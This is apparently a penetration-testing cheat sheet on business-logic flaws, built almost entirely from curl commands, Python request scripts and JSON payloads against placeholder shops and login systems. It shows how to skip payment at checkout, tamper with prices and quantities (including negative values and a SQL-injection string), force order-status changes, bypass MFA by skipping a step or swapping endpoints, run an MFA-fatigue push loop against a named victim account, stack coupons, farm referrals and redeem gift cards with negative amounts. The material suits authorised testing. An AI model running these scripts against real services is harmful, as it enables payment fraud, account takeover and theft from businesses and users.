Business Logic Vulnerabilities

# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm

# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
  -H "Cookie: session=abc123" \
  -d "order_id=12345"

# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1

# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
  -d "step=1" \
  -d "action=complete"  # Try to complete entire workflow

# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge states

import requests

# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add', 
    json={'product_id': 123, 'quantity': 1})

# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment

response = session.post('https://shop.example.com/checkout/confirm', 
    json={
        'shipping_address': '123 Test St',
        'payment_method': 'credit_card',  # Claim payment done
        'payment_status': 'completed'     # Manipulate status
    })

if 'Order Confirmed' in response.text:
    print('[!] Workflow bypass successful - order without payment!')
    print(response.json())

# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json

{
  "product_id": 123,
  "quantity": 1,
  "price": 99.99,
  "currency": "USD",
  "discount_code": ""
}

# 2. Test price manipulation
{"price": -99.99}  # Negative price (get paid to buy)
{"price": 0}       # Zero price
{"price": 0.01}    # Minimal price
{"price": "99.99 OR 1=1"}  # SQL injection in price

# 3. Test quantity manipulation
{"quantity": -1}   # Negative quantity (add to balance?)
{"quantity": 0}    # Zero quantity (free shipping with voucher?)
{"quantity": 999999999}  # Integer overflow
{"quantity": 1.5}  # Fractional quantity

# 4. Test currency manipulation
{"currency": "XXX"}  # Invalid currency code
{"currency": "BTC"}  # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"}  # Switch to weak currency

# 5. Test parameter pollution
price=0.01&price=99.99  # Which one is used?

import requests

# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
    json={
        'items': [
            {'id': 123, 'quantity': 1, 'price': 100},
            {'id': 456, 'quantity': 1, 'price': -150}  # Negative price
        ]
    })
# Total: 100 + (-150) = -50 (shop pays YOU $50!)

# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
    json={
        'product_id': 789,
        'quantity': 2147483647  # Max 32-bit int
    })
# Quantity might wrap to negative, causing free products

# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
    json={
        'codes': ['SAVE10', 'SAVE20', 'SAVE30']  # Multiple codes
    })
# If not validated, might stack 10% + 20% + 30% = 60% off

# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay Rp100 (~$0.006)

session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json())  # Check final price

import requests
import time

# Test for user enumeration via timing
def test_timing(email):
    start = time.time()
    response = requests.post('https://target.com/login',
        json={'email': email, 'password': 'wrong'})
    elapsed = time.time() - start
    return elapsed

# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')

# If timing difference > 100ms, user enumeration possible

# State machine audit methodology
# 1. Map all states: pending → paid → processing → shipped → delivered → returned
# 2. For each state, test transitions to EVERY other state (not just the next one)

import requests

BASE = "https://target.com/api"
TOKEN = "Bearer YOUR_TOKEN"
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}

# Create a test order
order = requests.post(f"{BASE}/orders", headers=HEADERS,
    json={"items": [{"id": 1, "qty": 1}]}).json()
order_id = order["id"]

# Test invalid state transitions
invalid_transitions = [
    ("pending", "shipped"),      # Skip payment
    ("pending", "delivered"),    # Skip everything
    ("shipped", "pending"),     # Reverse to get refund + keep item
    ("delivered", "processing"),# Reset to re-ship
    ("cancelled", "shipped"),   # Resurrect cancelled order
]

for from_state, to_state in invalid_transitions:
    # Force state via direct API manipulation
    r = requests.patch(f"{BASE}/orders/{order_id}",
        headers=HEADERS,
        json={"status": to_state})
    print(f"{from_state} → {to_state}: {r.status_code} - {r.text[:100]}")

    # Also try via workflow endpoints
    r = requests.post(f"{BASE}/orders/{order_id}/{to_state}", headers=HEADERS)
    print(f"  Direct endpoint: {r.status_code}")

# Step skip: Complete login, skip MFA verification, access protected resource
# 1. POST /login → 200 OK (sets session cookie, redirects to /mfa/verify)
# 2. Instead of visiting /mfa/verify, go directly to /dashboard
curl -b "session=LOGIN_COOKIE" https://target.com/dashboard
# If dashboard loads → MFA bypass via step skip

# MFA fallback abuse: Request SMS code, then use backup code endpoint
# Some apps don't check which MFA method was initiated
curl -X POST https://target.com/mfa/send-sms  # Initiate SMS
curl -X POST https://target.com/mfa/verify-backup   -d '{"code": "12345678"}'  # But verify with backup code (different endpoint)

# MFA enrollment tampering
# During initial MFA setup, intercept and modify the TOTP secret
# Or: disable MFA by sending enrollment cancellation from a different session
curl -X DELETE https://target.com/api/user/mfa   -H "Authorization: Bearer VALID_TOKEN"

# MFA fatigue via push notifications (if push-based MFA)
# Repeatedly trigger MFA push until user approves out of frustration
for i in $(seq 1 50); do
  curl -X POST https://target.com/login     -d '{"email":"victim@target.com","password":"known_password"}'
  sleep 3
done

# Coupon code stacking — apply multiple coupons that should be exclusive
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "SAVE20"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "WELCOME10"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon   -d '{"code": "FREESHIP"}' -b "session=COOKIE"
# Check if discounts compound: 20% + 10% + free shipping

# Coupon code prediction — check if codes follow a pattern
# Common patterns: PREFIX-SEQUENTIAL, WORD+NUMBER, date-based
# Try: SAVE21, SAVE22, SUMMER2024, WINTER2024, BF2024

# Self-referral loops
# 1. Create account A with referral code REF_A
# 2. Create account B using REF_A → both get credits
# 3. Create account C using referral from B
# 4. Use different email aliases (user+1@gmail.com, user+2@gmail.com)

# Gift card balance manipulation
curl -X POST https://target.com/api/giftcard/redeem   -d '{"card": "GIFTCARD123", "amount": -50}'  # Negative redemption = add balance

# Apply discount after price is calculated but before payment
# Race condition: apply coupon during checkout processing
# 1. Start checkout (no coupon)
# 2. In parallel: apply 100% discount coupon
# 3. If checkout uses pre-coupon price for display but post-coupon for charge

# Loyalty points manipulation
# Earn points on purchase, return item, keep points
# Convert points to cash, then use cash to earn more points (infinite loop)